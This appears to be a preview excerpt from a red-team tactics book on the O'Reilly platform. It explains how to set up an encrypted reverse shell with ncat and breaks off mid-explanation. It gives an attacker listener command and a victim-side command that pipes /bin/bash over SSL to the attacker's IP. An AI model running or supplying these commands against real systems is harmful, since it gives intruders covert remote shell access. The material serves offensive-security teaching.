Encrypted reverse shell using ncat

Ncat is a Swiss Army Knife tool just like netcat. It is provided by Nmap with some extra features, such as proxy connections, universal OS support, encrypted connections over SSL, and many more.

Let's execute the following command on the attacker machine to listen for incoming encrypted connections on port 8080:

ncat -l 8080 --ssl -v

Now that the listener is ready, let's execute the following command on the victim machine:

ncat 192.168.0.110 8080 --ssl -e /bin/bash -v 
We did not provide any SSL certificate ...

Get Hands-On Red Team Tactics now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.